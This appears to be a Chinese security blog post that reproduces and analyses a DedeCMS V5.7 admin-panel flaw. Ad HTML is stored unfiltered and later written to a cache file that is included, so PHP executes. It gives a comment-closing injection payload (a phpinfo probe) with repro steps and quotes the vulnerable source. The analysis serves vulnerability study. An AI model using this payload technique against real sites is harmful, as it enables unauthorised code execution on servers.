0x01 前言
前两天看到七月火表哥再先知发的一篇审计文章,感觉不错,是dedecms的getshell。就分析了一下,顺便写一篇文章学习。
0x02 环境
环境和之前的一篇文章一样可以作为参考: https://getpass.cn/2018/03/10/DedeCMS%20V5.7%20SP2%20Background%20Getshell%20Code%20Execution%20Vulnerability/
0x03 复现漏洞
- 进入后台添加广告的地方:http://sb.com/dede/ad_main.php
- 在添加页面加上我们的代码:
--><?php phpinfo();?><!--
- 然后点击查看代码
- 访问执行代码
0x04 漏洞分析
dede\ad_add.php
,代码可以读一遍,插入数据库的时候并没有对危险函数进行处理。
if($dopost=="save")
{
csrf_check();
//timeset tagname typeid normbody expbody
$tagname = trim($tagname);
$row = $dsql->GetOne("SELECT typeid FROM #@__myad WHERE typeid='$typeid' AND tagname LIKE '$tagname'");
if(is_array($row))
{
ShowMsg("在相同栏目下已经存在同名的标记!","-1");
exit();
}
$starttime = GetMkTime($starttime);
$endtime = GetMkTime($endtime);
$link = addslashes($normbody['link']);
if($normbody['style']=='code')
{
$normbody = addslashes($normbody['htmlcode']);
}
else if($normbody['style']=='txt')
{
$normbody = "<a href=\"{$link}\" font-size=\"{$normbody['size']}\" color=\"{$normbody['color']}\">{$normbody['title']}</a>";
}
else if($normbody['style']=='img')
{
if(empty($normbody['width']))
{
$width = "";
}
else
{
$width = " width=\"{$normbody['width']}\"";
}
if (empty($normbody['height']))
{
$height = "";
}
else
{
$height = "height=\"{$normbody['height']}\"";
}
$normbody = "<a href=\"{$link}\"><img src=\"{$normbody['url']}\"$width $height border=\"0\" /></a>";
}
else
{
if(empty($normbody['width']))
{
$width = "";
}
else
{
$width = " width=\"{$normbody['width']}\"";
}
if (empty($normbody['height']))
{
$height = "";
}
else
{
$height = "height=\"{$normbody['height']}\"";
}
$normbody = "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.Macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0\"$width $height><param name=\"movie\" value=\"{$link}\"/><param name=\"quality\" value=\"high\"/></object>";
}
$query = "
INSERT INTO #@__myad(clsid,typeid,tagname,adname,timeset,starttime,endtime,normbody,expbody)
VALUES('$clsid','$typeid','$tagname','$adname','$timeset','$starttime','$endtime','$normbody','$expbody');
";
$dsql->ExecuteNoneQuery($query);
ShowMsg("成功增加一个广告!","ad_main.php");
exit();
}
plus\ad_js.php
这里开头就检测了文件的存在,然后根据aid
查询数据库内容,可以看到把expbody
和normbody
的内容加入到$adbody
的数组里面,但是这里内容是在注释符中间的,我们可以用注释闭合的方式。
最后面的几行是写入文件,然后最后包含文件,这里就成功执行了我们的代码。
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
$adbody = '';
if($row['timeset']==0)
{
$adbody = $row['normbody'];
}
else
{
$ntime = time();
if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
$adbody = $row['expbody'];
} else {
$adbody = $row['normbody'];
}
}
$adbody = str_replace('"', '\"',$adbody);
$adbody = str_replace("\r", "\\r",$adbody);
$adbody = str_replace("\n", "\\n",$adbody);
$adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n";
$fp = fopen($cacheFile, 'w');
fwrite($fp, $adbody);
fclose($fp);
}
include $cacheFile;
0x05 结束
这个漏洞比较简单,不过一般dedecms文件上传功能都会关闭的,所以广告这个功能不一定会关闭,可以利用一波。
0x06 参考
源码下载:https://pan.lanzou.com/i0mmfih
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/dedecms-v5.7-background-filtering-improperly-leads-to-getshell.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。